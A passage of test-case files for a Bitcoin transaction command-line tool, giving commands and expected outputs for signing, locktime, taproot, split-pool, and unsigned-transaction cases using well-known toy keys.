35f1c6f35d22463f6b4b25fa82c343cf2ad5b66fe7f38a89765510506039c3e9/0/76a914cd5dc792f0abb0aa8ba4ca36c9fe5eda8e495ff988ac/4111893/0/0/0 4 | 35f1c6f35d22463f6b4b25fa82c343cf2ad5b66fe7f38a89765510506039c3e9/1/76a914751e76e8199196d454941c45d1b3a323f1433bd688ac/4111893/0/0/0 5 | 35f1c6f35d22463f6b4b25fa82c343cf2ad5b66fe7f38a89765510506039c3e9/2/76a91406afd46bcdfd22ef94ac122aa11f241244a37ecc88ac/4111892/0/0/0 6 | -------------------------------------------------------------------------------- /tests/cmds/test_cases/tx/keychain_signature_bip32.txt: -------------------------------------------------------------------------------- 1 | # test using the -K functionality. This allows using a BIP32 key and hints as to where to down into the hierarchy. 2 | tx a4311534476619a9edb1ac583b325459bdc38c2bed2b22eadf1e0638c842961d/0/76a914b2030e0781c6a69cf3bba396d0a946217c69d92288ac/5000000/0/0/0 1HEEwQ37xdHthWWt8VtNbpZRBbmqhmjgcw xprv9s21ZrQH143K31AgNK5pyVvW23gHnkBq2wh5aEk6g1s496M8ZMjxncCKZKgb5jZoY5eSJMJ2Vbyvi2hbmQnCuHBujZ2WXGTux1X2k9Krdtq -K 0-200 3 | Version: 1 tx hash bdcafd8ce231b5b6b9d0d5e8e43c5a62a4706c28250ef79703de73dd55c7a80d 192 bytes 4 | TxIn count: 1; TxOut count: 1 5 | Lock time: 0 (valid anytime) 6 | Input: 7 | 0: 1HEEwQ37xdHthWWt8VtNbpZRBbmqhmjgcw from a4311534476619a9edb1ac583b325459bdc38c2bed2b22eadf1e0638c842961d:0 50.00000 mBTC sig ok 8 | Output: 9 | 0: 1HEEwQ37xdHthWWt8VtNbpZRBbmqhmjgcw receives 49.90000 mBTC 10 | Total input 50.00000 mBTC 11 | Total output 49.90000 mBTC 12 | Total fees 0.10000 mBTC 13 | 01000000011d9642c838061edfea222bed2b8cc3bd5954323b58acb1eda9196647341531a4000000006b483045022100b6dc0871c5276631c1cc4c8bd5daf2b56932e8cc295547618108bc259b318abc02202f03418fa6874ebda61b384780e90ec7d6c81f8201278f90af3c4d87b169354b012103fe4a038220f1e6acc90eff187b7a6d4909d8d119600e3c4057e9bffd6e920922ffffffff0130244c00000000001976a914b2030e0781c6a69cf3bba396d0a946217c69d92288ac00000000 14 | -------------------------------------------------------------------------------- /tests/cmds/test_cases/tx/keychain_signature_electrum.txt: -------------------------------------------------------------------------------- 1 | # test using the -K functionality. This allows using a BIP32 key and hints as to where to down into the hierarchy. 2 | tx b2e4ae9fa8eb91f12fb8bb3f8cd7b58ba7287a379a9abc5550a40bc3f0b0c607/0/76a914aa604ab19e6f30ecd22f0d99fdab45bdedadfb3188ac/5000000/0/0/0 1GXsE5gvdtKNCA44e8CRBdjRdnuGuPaJVq E:00000000000000000000000000000000 -K 0-200 3 | Version: 1 tx hash dccb8bfe2504c02d09bfb4ba1f9f1ab03f427cf882c9a648cd12862e95f3490c 224 bytes 4 | TxIn count: 1; TxOut count: 1 5 | Lock time: 0 (valid anytime) 6 | Input: 7 | 0: 1GXsE5gvdtKNCA44e8CRBdjRdnuGuPaJVq from b2e4ae9fa8eb91f12fb8bb3f8cd7b58ba7287a379a9abc5550a40bc3f0b0c607:0 50.00000 mBTC sig ok 8 | Output: 9 | 0: 1GXsE5gvdtKNCA44e8CRBdjRdnuGuPaJVq receives 49.90000 mBTC 10 | Total input 50.00000 mBTC 11 | Total output 49.90000 mBTC 12 | Total fees 0.10000 mBTC 13 | 010000000107c6b0f0c30ba45055bc9a9a377a28a78bb5d78c3fbbb82ff191eba89faee4b2000000008b483045022100d238d041fe57cb18f9ede9d3a83b760ed8cb4c1d96a7b1883ca99c396c74e22e022029e36ca78beaeac2d4c0d66df944fa4891b63276cc752eda4d5a59b5d2ad6381014104290fd960c2e4099c0a9b9eb82a382aa9a6f3e862d3d9cb764ea97aa779cf6758030f82c7f8d7668967fd0544fdecc7b69ae7c702cd5ab5b4470f2515976ca324ffffffff0130244c00000000001976a914aa604ab19e6f30ecd22f0d99fdab45bdedadfb3188ac00000000 14 | -------------------------------------------------------------------------------- /tests/cmds/test_cases/tx/known_sec_signature.txt: -------------------------------------------------------------------------------- 1 | # dump signatures 2 | tx --signature 304402202ccb8177e8c45ffacf354c2b86dfe00022330f43a58675b378e695aeb44a8a9d02205b981a4ab1a3d7dc4286a4852b134af14abd9dff030cbd2683ef8497e26046bd01 --sec 0279be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798 01000000019c12cfdc04c74584d787ac3d23772132c18524bc7ab28dec4219b8fc5b425f700000000000ffffffff01e8030000000000001976a91406afd46bcdfd22ef94ac122aa11f241244a37ecc88ac00000000e8030000000000002200203f4ae1eb3e75f3578491811d27eb59e23a512cf90c73b13c6acd4499f7c4d28b -p 76a914751e76e8199196d454941c45d1b3a323f1433bd688ac 3 | Version: 1 tx hash 22409e0d9e116ab57e6ff8b4ecc7ce2456d11f4a4399a1798063f4022013f815 220 bytes 4 | segwit tx hash e1ce99356443a98a984029d39642172ed16551387a8e608a7d6c5b9957219e7e 5 | TxIn count: 1; TxOut count: 1 6 | Lock time: 0 (valid anytime) 7 | Input: 8 | 0: bc1q8a9wr6e7whe40py3sywj066euga9zt8ep3emz0r2e4zfna7y629s6kegdt from 705f425bfcb81942ec8db27abc2485c1322177233dac87d78445c704dccf129c:0 0.01000 mBTC sig ok 9 | Output: 10 | 0: 1cMh228HTCiwS8ZsaakH8A8wze1JR5ZsP receives 0.01000 mBTC 11 | Total input 0.01000 mBTC 12 | Total output 0.01000 mBTC 13 | Total fees 0.00000 mBTC 14 | 010000000001019c12cfdc04c74584d787ac3d23772132c18524bc7ab28dec4219b8fc5b425f700000000000ffffffff01e8030000000000001976a91406afd46bcdfd22ef94ac122aa11f241244a37ecc88ac0347304402202ccb8177e8c45ffacf354c2b86dfe00022330f43a58675b378e695aeb44a8a9d02205b981a4ab1a3d7dc4286a4852b134af14abd9dff030cbd2683ef8497e26046bd01210279be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f817981976a914751e76e8199196d454941c45d1b3a323f1433bd688ac00000000 15 | -------------------------------------------------------------------------------- /tests/cmds/test_cases/tx/locktime_block.txt: -------------------------------------------------------------------------------- 1 | # set lock time to block 500000 2 | tx -l 500000 d61aa2a5f5bce59d2a57447134f7ce9ce9d29b5c471f4bf747c43bf82aa26c2a/1/76a91491b24bf9f5288532960ac687abb035127b1d28a588ac/12345678 KwDiBf89QgGbjEhKnhXJuH7LrciVrZi3qYjgd9M7rFU73sVHnoWn 1KissFDVu2wAYWPRm4UGh5ZCDU9sE9an8T 1BgGZ9tcN4rm9KBzDn7KprQz87SZ26SAMH --db 010000000135b0092a869bca1bc43e1628b3cb9e56ff9099a271fe95755e6f9289cf885b98000000008c4930460221008342b7eee70400acfed8d68be5aa8a6aeb06d7a2b3aef1fab7e4c1e46391efc6022100c0f86ba04f9a43c0d7fc8ab4cf9f3292989d3067f9b04e013c4a96bee87d5e1c014104dbedbe0028b3cbf362cad654c3b3e0902f65004691fa1332e94a31202ff06f4f7e67bd57d278c6a40b1915feb3bfb6850ca3750456e4c9af9db3d57a22b65323ffffffff02102f3504000000001976a9149b92770a85b1252448ec69900e77f1371d6a620188ac4e61bc00000000001976a91491b24bf9f5288532960ac687abb035127b1d28a588ac00000000 3 | Version: 1 tx hash 992638b6c17e390fb3b2f221700de1315bb00333aa1a8ceda114ae0ec5408b21 258 bytes 4 | TxIn count: 1; TxOut count: 2 5 | Lock time: 500000 (valid after block index 500000) 6 | Input: 7 | 0: 1EHNa6Q4Jz2uvNExL497mE43ikXhwF6kZm from d61aa2a5f5bce59d2a57447134f7ce9ce9d29b5c471f4bf747c43bf82aa26c2a:1 123.45678 mBTC sig ok 8 | Outputs: 9 | 0: 1KissFDVu2wAYWPRm4UGh5ZCDU9sE9an8T receives 61.67839 mBTC 10 | 1: 1BgGZ9tcN4rm9KBzDn7KprQz87SZ26SAMH receives 61.67839 mBTC 11 | Total input 123.45678 mBTC 12 | Total output 123.35678 mBTC 13 | Total fees 0.10000 mBTC 14 | 01000000012a6ca22af83bc447f74b1f475c9bd2e99ccef7347144572a9de5bcf5a5a21ad6010000008b483045022100c3a74af6bbf0d39a9d41e2336161778caac2104a2a013c4e519739ed12befb0f022041c661f2828974c817b75af0f2cf35e32e821cc67b1a7d5eb8b1e8f0a718a86f01410479be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8ffffffff021f1d5e00000000001976a914cd5dc792f0abb0aa8ba4ca36c9fe5eda8e495ff988ac1f1d5e00000000001976a914751e76e8199196d454941c45d1b3a323f1433bd688ac20a10700 15 | all incoming transaction values validated 16 | -------------------------------------------------------------------------------- /tests/cmds/test_cases/tx/locktime_date.txt: -------------------------------------------------------------------------------- 1 | # set lock time to Dec. 31, 2017 at 3:16:17 pm 2 | tx -l 2017-12-31T15:16:17 d61aa2a5f5bce59d2a57447134f7ce9ce9d29b5c471f4bf747c43bf82aa26c2a/1/76a91491b24bf9f5288532960ac687abb035127b1d28a588ac/12345678 KwDiBf89QgGbjEhKnhXJuH7LrciVrZi3qYjgd9M7rFU73sVHnoWn 1KissFDVu2wAYWPRm4UGh5ZCDU9sE9an8T 1BgGZ9tcN4rm9KBzDn7KprQz87SZ26SAMH --db 010000000135b0092a869bca1bc43e1628b3cb9e56ff9099a271fe95755e6f9289cf885b98000000008c4930460221008342b7eee70400acfed8d68be5aa8a6aeb06d7a2b3aef1fab7e4c1e46391efc6022100c0f86ba04f9a43c0d7fc8ab4cf9f3292989d3067f9b04e013c4a96bee87d5e1c014104dbedbe0028b3cbf362cad654c3b3e0902f65004691fa1332e94a31202ff06f4f7e67bd57d278c6a40b1915feb3bfb6850ca3750456e4c9af9db3d57a22b65323ffffffff02102f3504000000001976a9149b92770a85b1252448ec69900e77f1371d6a620188ac4e61bc00000000001976a91491b24bf9f5288532960ac687abb035127b1d28a588ac00000000 3 | Version: 1 tx hash d498c71a031848043f9326bbbf2c879c88522fd25d1bd908758ef020a6888fc8 257 bytes 4 | TxIn count: 1; TxOut count: 2 5 | Lock time: 1514733377 (valid on or after 2017-12-31T15:16:17 utc) 6 | Input: 7 | 0: 1EHNa6Q4Jz2uvNExL497mE43ikXhwF6kZm from d61aa2a5f5bce59d2a57447134f7ce9ce9d29b5c471f4bf747c43bf82aa26c2a:1 123.45678 mBTC sig ok 8 | Outputs: 9 | 0: 1KissFDVu2wAYWPRm4UGh5ZCDU9sE9an8T receives 61.67839 mBTC 10 | 1: 1BgGZ9tcN4rm9KBzDn7KprQz87SZ26SAMH receives 61.67839 mBTC 11 | Total input 123.45678 mBTC 12 | Total output 123.35678 mBTC 13 | Total fees 0.10000 mBTC 14 | 01000000012a6ca22af83bc447f74b1f475c9bd2e99ccef7347144572a9de5bcf5a5a21ad6010000008a473044022049560efe7ab534a29ff5d3886eed1c7227ec8eedc2743167f1665de7a78fd53102200f26801fa1ccd1eeb611a75886cbf8cc924cc1977e869ded2e714f458c76e80e01410479be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8ffffffff021f1d5e00000000001976a914cd5dc792f0abb0aa8ba4ca36c9fe5eda8e495ff988ac1f1d5e00000000001976a914751e76e8199196d454941c45d1b3a323f1433bd688ac41ff485a 15 | all incoming transaction values validated 16 | -------------------------------------------------------------------------------- /tests/cmds/test_cases/tx/pay_to_opcode_list.txt: -------------------------------------------------------------------------------- 1 | # trace 2 | tx -d d61aa2a5f5bce59d2a57447134f7ce9ce9d29b5c471f4bf747c43bf82aa26c2a/1/76a91491b24bf9f5288532960ac687abb035127b1d28a588ac/12345678 '1 2 BOOLAND 2000 TOALTSTACK RIPEMD160 OP_HASH160 OP_MAX/12300000' "OP_VERIFY OP_SUBSTR OP_NUMEQUALVERIFY 'dogs' OP_NOP4 OP_CHECKSEQUENCEVERIFY" 3 | Version: 1 tx hash 4104cb28de5bf25b835e5704de61036f18f468e2615267c5e972663f4e88c841 89 bytes 4 | TxIn count: 1; TxOut count: 2 5 | Lock time: 0 (valid anytime) 6 | Input: 7 | 0: 1EHNa6Q4Jz2uvNExL497mE43ikXhwF6kZm from d61aa2a5f5bce59d2a57447134f7ce9ce9d29b5c471f4bf747c43bf82aa26c2a:1 123.45678 mBTC BAD SIG 8 | --- PUBLIC KEY SCRIPT START 9 | 0: 76 OP_DUP 10 | 1: a9 OP_HASH160 11 | 2: 14 [PUSH_20] 91b24bf9f5288532960ac687abb035127b1d28a5 12 | 17: 88 OP_EQUALVERIFY 13 | 18: ac OP_CHECKSIG 14 | Outputs: 15 | 0: ??? receives 123.00000 mBTC 16 | --- PUBLIC KEY SCRIPT START 17 | 0: 51 OP_1 18 | 1: 52 OP_2 19 | 2: 9a OP_BOOLAND 20 | 3: 02 [PUSH_2] d007 21 | 6: 6b OP_TOALTSTACK 22 | 7: a6 OP_RIPEMD160 23 | 8: a9 OP_HASH160 24 | 9: a4 OP_MAX 25 | 1: ??? receives 0.35678 mBTC 26 | --- PUBLIC KEY SCRIPT START 27 | 0: 69 OP_VERIFY 28 | 1: 7f OP_SUBSTR 29 | 2: 9d OP_NUMEQUALVERIFY 30 | 3: 04 [PUSH_4] 646f6773 31 | 8: b3 OP_NOP4 32 | 9: b2 OP_CHECKSEQUENCEVERIFY 33 | Total input 123.45678 mBTC 34 | Total output 123.35678 mBTC 35 | Total fees 0.10000 mBTC 36 | including unspents in hex dump since transaction not fully signed 37 | 01000000012a6ca22af83bc447f74b1f475c9bd2e99ccef7347144572a9de5bcf5a5a21ad60100000000ffffffff02e0aebb00000000000a51529a02d0076ba6a9a45e8b0000000000000a697f9d04646f6773b3b2000000004e61bc00000000001976a91491b24bf9f5288532960ac687abb035127b1d28a588ac 38 | all incoming transaction values validated 39 | -------------------------------------------------------------------------------- /tests/cmds/test_cases/tx/pay_to_taproot_1.txt: -------------------------------------------------------------------------------- 1 | tx --db 01000000000101b9cb0da76784960e000d63f0453221aeeb6df97f2119d35c3051065bc9881eab0000000000fdffffff020000000000000000186a16546170726f6f74204654572120406269746275673432a059010000000000225120339ce7e165e67d93adb3fef88a6d4beed33f01fa876f05a225242b82a631abc00247304402204bf50f2fea3a2fbf4db8f0de602d9f41665fe153840c1b6f17c0c0abefa42f0b0220631fe0968b166b00cb3027c8817f50ce8353e9d5de43c29348b75b6600f231fc012102b14f0e661960252f8f37486e7fe27431c9f94627a617da66ca9678e6a2218ce1ffd30a00 01000000000101d1f1c1f8cdf6759167b90f52c9ad358a369f95284e841d7a2536cef31c0549580100000000fdffffff020000000000000000316a2f49206c696b65205363686e6f7272207369677320616e6420492063616e6e6f74206c69652e204062697462756734329e06010000000000225120a37c3903c8d0db6512e2b40b0dffa05e5a3ab73603ce8c9c4b7771e5412328f90140a60c383f71bac0ec919b1d7dbc3eb72dd56e7aa99583615564f9f99b8ae4e837b758773a5b2e4c51348854c8389f008e05029db7f464a5ff2e01d5e6e626174affd30a00 2 | Version: 1 tx hash 33e794d097969002ee05d336686fc03c9e15a597c1b9827669460fac98799036 220 bytes 3 | segwit tx hash af2fdc4c54270adfb2a65987a79ed2f0e771a779ea48bb0ef06095b48395f74d 4 | TxIn count: 1; TxOut count: 2 5 | Lock time: 709631 (valid after block index 709631) 6 | Input: 7 | 0: bc1pxwww0ct9ue7e8tdnlmug5m2tamfn7q06sahstg39ys4c9f3340qqxrdu9k from 5849051cf3ce36257a1d844e28959f368a35adc9520fb9679175f6cdf8c1f1d1:1 0.88480 mBTC sig ok 8 | Outputs: 9 | 0: (nulldata 2f49206c696b65205363686e6f7272207369677320616e6420492063616e6e6f74206c69652e20406269746275673432) receives 0.00000 mBTC 10 | 1: bc1p5d7rjq7g6rdk2yhzks9smlaqtedr4dekq08ge8ztwac72sfr9rusxg3297 receives 0.67230 mBTC 11 | Total input 0.88480 mBTC 12 | Total output 0.67230 mBTC 13 | Total fees 0.21250 mBTC 14 | 01000000000101d1f1c1f8cdf6759167b90f52c9ad358a369f95284e841d7a2536cef31c0549580100000000fdffffff020000000000000000316a2f49206c696b65205363686e6f7272207369677320616e6420492063616e6e6f74206c69652e204062697462756734329e06010000000000225120a37c3903c8d0db6512e2b40b0dffa05e5a3ab73603ce8c9c4b7771e5412328f90140a60c383f71bac0ec919b1d7dbc3eb72dd56e7aa99583615564f9f99b8ae4e837b758773a5b2e4c51348854c8389f008e05029db7f464a5ff2e01d5e6e626174affd30a00 15 | all incoming transaction values validated 16 | -------------------------------------------------------------------------------- /tests/cmds/test_cases/tx/prep_unsigned.txt: -------------------------------------------------------------------------------- 1 | # prep an unsigned transaction 2 | tx d61aa2a5f5bce59d2a57447134f7ce9ce9d29b5c471f4bf747c43bf82aa26c2a/1/76a91491b24bf9f5288532960ac687abb035127b1d28a588ac/12345678 1KissFDVu2wAYWPRm4UGh5ZCDU9sE9an8T -o tx.bin ; tx --db 010000000135b0092a869bca1bc43e1628b3cb9e56ff9099a271fe95755e6f9289cf885b98000000008c4930460221008342b7eee70400acfed8d68be5aa8a6aeb06d7a2b3aef1fab7e4c1e46391efc6022100c0f86ba04f9a43c0d7fc8ab4cf9f3292989d3067f9b04e013c4a96bee87d5e1c014104dbedbe0028b3cbf362cad654c3b3e0902f65004691fa1332e94a31202ff06f4f7e67bd57d278c6a40b1915feb3bfb6850ca3750456e4c9af9db3d57a22b65323ffffffff02102f3504000000001976a9149b92770a85b1252448ec69900e77f1371d6a620188ac4e61bc00000000001976a91491b24bf9f5288532960ac687abb035127b1d28a588ac00000000 tx.bin 3 | Version: 1 tx hash ab963a39df0e095bbd76840de90fe208e903d5d43e891ef245b217dbcd29a8a7 85 bytes 4 | TxIn count: 1; TxOut count: 1 5 | Lock time: 0 (valid anytime) 6 | Input: 7 | 0: 1EHNa6Q4Jz2uvNExL497mE43ikXhwF6kZm from d61aa2a5f5bce59d2a57447134f7ce9ce9d29b5c471f4bf747c43bf82aa26c2a:1 123.45678 mBTC BAD SIG 8 | Output: 9 | 0: 1KissFDVu2wAYWPRm4UGh5ZCDU9sE9an8T receives 123.35678 mBTC 10 | Total input 123.45678 mBTC 11 | Total output 123.35678 mBTC 12 | Total fees 0.10000 mBTC 13 | including unspents in hex dump since transaction not fully signed 14 | 01000000012a6ca22af83bc447f74b1f475c9bd2e99ccef7347144572a9de5bcf5a5a21ad60100000000ffffffff013e3abc00000000001976a914cd5dc792f0abb0aa8ba4ca36c9fe5eda8e495ff988ac000000004e61bc00000000001976a91491b24bf9f5288532960ac687abb035127b1d28a588ac 15 | all incoming transaction values validated 16 | -------------------------------------------------------------------------------- /tests/cmds/test_cases/tx/remove_tx_out.txt: -------------------------------------------------------------------------------- 1 | # remove a tx_out 2 | tx --db 0100000001e28df5c27bef0875fc01088e625ce30ef7349e28dae71306ac6f45ceebf96dfb000000006b483045022100f285f484d21255bb4c7364b0bef2ca11f3d9e7040331ef509b44c3d01b8bb8c102205b9d125e463ac6e135922f67fc9d4b7d7ec0d75f0fa81458190215f2c12d90b8012103d18a1437b2b9fa2c9dd999134603dcd3d839ccd256e6e5925f9927dcb7a950a8ffffffff020cc10500000000001976a914f7b254bb7135ab3165bc990632ea19ab4e8ba71688ac50730500000000001976a91478bb3fecc7acf90d7278c6979bcfb140add5cfc388ac00000000 02000000010b1b02e64c07ee42fd5a7351eb5220745e64381c5ae182c1af549cb1f14be333000000006b483045022100b7afd722ea7a9708c1ec833df1c1bb62949f4dac54de9572ef71e40c79eaa1d602202bd667455ec582e01e268eb6af4af1fffcae792d8fa811f520948fc4bd3a1b5d012103041aced98751ea1c6ebcd4035f72f511011e24d7a653d214f8d0afb032e5afe3ffffffff03c5d80000000000001976a914ac7dcf93547ec87f82d758b1f6837d5cb431253d88acc5d80000000000001976a91499b659fb3bf2276f5c9f11c39b7827b1ea5644ad88ac23250300000000001976a91459630a7ef4689ee9087d61d1c764d98a793c5a2588ac00000000 --remove-tx-out 1 3 | Version: 2 tx hash 7512a85d1dfb808c4642a0c320e9416ff5035b750f11310d83b02f8a096550e3 226 bytes 4 | TxIn count: 1; TxOut count: 2 5 | Lock time: 0 (valid anytime) 6 | Input: 7 | 0: 1PahY36iwSCCKGHcSoqjLhtqxLV5VWw4Wt from 33e34bf1b19c54afc182e15a1c38645e742052eb51735afd42ee074ce6021b0b:0 3.77100 mBTC BAD SIG 8 | Outputs: 9 | 0: 1Gj3wV9niLJJGnEcQ6hYtVbWnZRvNutj1u receives 0.55493 mBTC 10 | 1: 199dnZcG2A6UEZCxxE2Y1mxqEQMjQRmepY receives 2.06115 mBTC 11 | Total input 3.77100 mBTC 12 | Total output 2.61608 mBTC 13 | Total fees 1.15492 mBTC 14 | including unspents in hex dump since transaction not fully signed 15 | 02000000010b1b02e64c07ee42fd5a7351eb5220745e64381c5ae182c1af549cb1f14be333000000006b483045022100b7afd722ea7a9708c1ec833df1c1bb62949f4dac54de9572ef71e40c79eaa1d602202bd667455ec582e01e268eb6af4af1fffcae792d8fa811f520948fc4bd3a1b5d012103041aced98751ea1c6ebcd4035f72f511011e24d7a653d214f8d0afb032e5afe3ffffffff02c5d80000000000001976a914ac7dcf93547ec87f82d758b1f6837d5cb431253d88ac23250300000000001976a91459630a7ef4689ee9087d61d1c764d98a793c5a2588ac000000000cc10500000000001976a914f7b254bb7135ab3165bc990632ea19ab4e8ba71688ac 16 | all incoming transaction values validated 17 | -------------------------------------------------------------------------------- /tests/cmds/test_cases/tx/sign_tx.txt: -------------------------------------------------------------------------------- 1 | # sign a transaction 2 | tx 0e3e2357e806b6cdb1f70b54c3a3a17b6714ee1f0e68bebb44a74b1efd512098/0/210279be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798ac/5000000000 1KissFDVu2wAYWPRm4UGh5ZCDU9sE9an8T KwDiBf89QgGbjEhKnhXJuH7LrciVrZi3qYjgd9M7rFU73sVHnoWn 3 | Version: 1 tx hash b2ad3b7adf83d593837aae88eb79b4422a7355d85280ae35d6452651eb303464 157 bytes 4 | TxIn count: 1; TxOut count: 1 5 | Lock time: 0 (valid anytime) 6 | Input: 7 | 0: 1BgGZ9tcN4rm9KBzDn7KprQz87SZ26SAMH from 0e3e2357e806b6cdb1f70b54c3a3a17b6714ee1f0e68bebb44a74b1efd512098:0 50000.00000 mBTC sig ok 8 | Output: 9 | 0: 1KissFDVu2wAYWPRm4UGh5ZCDU9sE9an8T receives 49999.90000 mBTC 10 | Total input 50000.00000 mBTC 11 | Total output 49999.90000 mBTC 12 | Total fees 0.10000 mBTC 13 | 0100000001982051fd1e4ba744bbbe680e1fee14677ba1a3c3540bf7b1cdb606e857233e0e0000000048473044022011c181d511dc3439b957cdd61f9e9e0ca3dcdcc2366c00eecd5e0e14282f00090220501c949642c8aca71495fa08473d2b6b2c12769b1b3948f0ac67df02ebcf800401ffffffff01f0ca052a010000001976a914cd5dc792f0abb0aa8ba4ca36c9fe5eda8e495ff988ac00000000 14 | -------------------------------------------------------------------------------- /tests/cmds/test_cases/tx/split_pool_2.txt: -------------------------------------------------------------------------------- 1 | # test the split pool (two parts) 2 | tx --db 010000000135b0092a869bca1bc43e1628b3cb9e56ff9099a271fe95755e6f9289cf885b98000000008c4930460221008342b7eee70400acfed8d68be5aa8a6aeb06d7a2b3aef1fab7e4c1e46391efc6022100c0f86ba04f9a43c0d7fc8ab4cf9f3292989d3067f9b04e013c4a96bee87d5e1c014104dbedbe0028b3cbf362cad654c3b3e0902f65004691fa1332e94a31202ff06f4f7e67bd57d278c6a40b1915feb3bfb6850ca3750456e4c9af9db3d57a22b65323ffffffff02102f3504000000001976a9149b92770a85b1252448ec69900e77f1371d6a620188ac4e61bc00000000001976a91491b24bf9f5288532960ac687abb035127b1d28a588ac00000000 d61aa2a5f5bce59d2a57447134f7ce9ce9d29b5c471f4bf747c43bf82aa26c2a/1/76a91491b24bf9f5288532960ac687abb035127b1d28a588ac/12345678 KwDiBf89QgGbjEhKnhXJuH7LrciVrZi3qYjgd9M7rFU73sVHnoWn 1KissFDVu2wAYWPRm4UGh5ZCDU9sE9an8T 1BgGZ9tcN4rm9KBzDn7KprQz87SZ26SAMH 3 | Version: 1 tx hash a464a361cc2d6659bade733c406e3d92072a6bc09bc058c9adeb8ffcc6f2d698 258 bytes 4 | TxIn count: 1; TxOut count: 2 5 | Lock time: 0 (valid anytime) 6 | Input: 7 | 0: 1EHNa6Q4Jz2uvNExL497mE43ikXhwF6kZm from d61aa2a5f5bce59d2a57447134f7ce9ce9d29b5c471f4bf747c43bf82aa26c2a:1 123.45678 mBTC sig ok 8 | Outputs: 9 | 0: 1KissFDVu2wAYWPRm4UGh5ZCDU9sE9an8T receives 61.67839 mBTC 10 | 1: 1BgGZ9tcN4rm9KBzDn7KprQz87SZ26SAMH receives 61.67839 mBTC 11 | Total input 123.45678 mBTC 12 | Total output 123.35678 mBTC 13 | Total fees 0.10000 mBTC 14 | 01000000012a6ca22af83bc447f74b1f475c9bd2e99ccef7347144572a9de5bcf5a5a21ad6010000008b4830450221009ca3c0fa13499fbfdedb2aa351a8d85e28f39683156018a0387338e3f5e0c01d0220072f42940ccfabd9459a4922769439d18b2dc149d3730a9db2f8a4ab530d399301410479be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8ffffffff021f1d5e00000000001976a914cd5dc792f0abb0aa8ba4ca36c9fe5eda8e495ff988ac1f1d5e00000000001976a914751e76e8199196d454941c45d1b3a323f1433bd688ac00000000 15 | all incoming transaction values validated 16 | -------------------------------------------------------------------------------- /tests/cmds/test_cases/tx/split_pool_3.txt: -------------------------------------------------------------------------------- 1 | # test the split pool (three parts) 2 | tx --db 010000000135b0092a869bca1bc43e1628b3cb9e56ff9099a271fe95755e6f9289cf885b98000000008c4930460221008342b7eee70400acfed8d68be5aa8a6aeb06d7a2b3aef1fab7e4c1e46391efc6022100c0f86ba04f9a43c0d7fc8ab4cf9f3292989d3067f9b04e013c4a96bee87d5e1c014104dbedbe0028b3cbf362cad654c3b3e0902f65004691fa1332e94a31202ff06f4f7e67bd57d278c6a40b1915feb3bfb6850ca3750456e4c9af9db3d57a22b65323ffffffff02102f3504000000001976a9149b92770a85b1252448ec69900e77f1371d6a620188ac4e61bc00000000001976a91491b24bf9f5288532960ac687abb035127b1d28a588ac00000000 d61aa2a5f5bce59d2a57447134f7ce9ce9d29b5c471f4bf747c43bf82aa26c2a/1/76a91491b24bf9f5288532960ac687abb035127b1d28a588ac/12345678 KwDiBf89QgGbjEhKnhXJuH7LrciVrZi3qYjgd9M7rFU73sVHnoWn 1KissFDVu2wAYWPRm4UGh5ZCDU9sE9an8T 1BgGZ9tcN4rm9KBzDn7KprQz87SZ26SAMH 1cMh228HTCiwS8ZsaakH8A8wze1JR5ZsP 3 | Version: 1 tx hash 35f1c6f35d22463f6b4b25fa82c343cf2ad5b66fe7f38a89765510506039c3e9 291 bytes 4 | TxIn count: 1; TxOut count: 3 5 | Lock time: 0 (valid anytime) 6 | Input: 7 | 0: 1EHNa6Q4Jz2uvNExL497mE43ikXhwF6kZm from d61aa2a5f5bce59d2a57447134f7ce9ce9d29b5c471f4bf747c43bf82aa26c2a:1 123.45678 mBTC sig ok 8 | Outputs: 9 | 0: 1KissFDVu2wAYWPRm4UGh5ZCDU9sE9an8T receives 41.11893 mBTC 10 | 1: 1BgGZ9tcN4rm9KBzDn7KprQz87SZ26SAMH receives 41.11893 mBTC 11 | 2: 1cMh228HTCiwS8ZsaakH8A8wze1JR5ZsP receives 41.11892 mBTC 12 | Total input 123.45678 mBTC 13 | Total output 123.35678 mBTC 14 | Total fees 0.10000 mBTC 15 | 01000000012a6ca22af83bc447f74b1f475c9bd2e99ccef7347144572a9de5bcf5a5a21ad6010000008a47304402207d9d68ca892ad3f49293bd1699ccb79b734ece96aee2e9df18614e0e7a6813f8022002f8060e19a2e231328f50083d273654bfd8b53b570576e392f94edae7ce58ed01410479be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8ffffffff0315be3e00000000001976a914cd5dc792f0abb0aa8ba4ca36c9fe5eda8e495ff988ac15be3e00000000001976a914751e76e8199196d454941c45d1b3a323f1433bd688ac14be3e00000000001976a91406afd46bcdfd22ef94ac122aa11f241244a37ecc88ac00000000 16 | all incoming transaction values validated 17 | -------------------------------------------------------------------------------- /tests/cmds/test_cases/tx/split_pool_custom_fee.txt: -------------------------------------------------------------------------------- 1 | # test the split pool with a custom fee 2 | tx -F 3141592 --db 010000000135b0092a869bca1bc43e1628b3cb9e56ff9099a271fe95755e6f9289cf885b98000000008c4930460221008342b7eee70400acfed8d68be5aa8a6aeb06d7a2b3aef1fab7e4c1e46391efc6022100c0f86ba04f9a43c0d7fc8ab4cf9f3292989d3067f9b04e013c4a96bee87d5e1c014104dbedbe0028b3cbf362cad654c3b3e0902f65004691fa1332e94a31202ff06f4f7e67bd57d278c6a40b1915feb3bfb6850ca3750456e4c9af9db3d57a22b65323ffffffff02102f3504000000001976a9149b92770a85b1252448ec69900e77f1371d6a620188ac4e61bc00000000001976a91491b24bf9f5288532960ac687abb035127b1d28a588ac00000000 d61aa2a5f5bce59d2a57447134f7ce9ce9d29b5c471f4bf747c43bf82aa26c2a/1/76a91491b24bf9f5288532960ac687abb035127b1d28a588ac/12345678 KwDiBf89QgGbjEhKnhXJuH7LrciVrZi3qYjgd9M7rFU73sVHnoWn 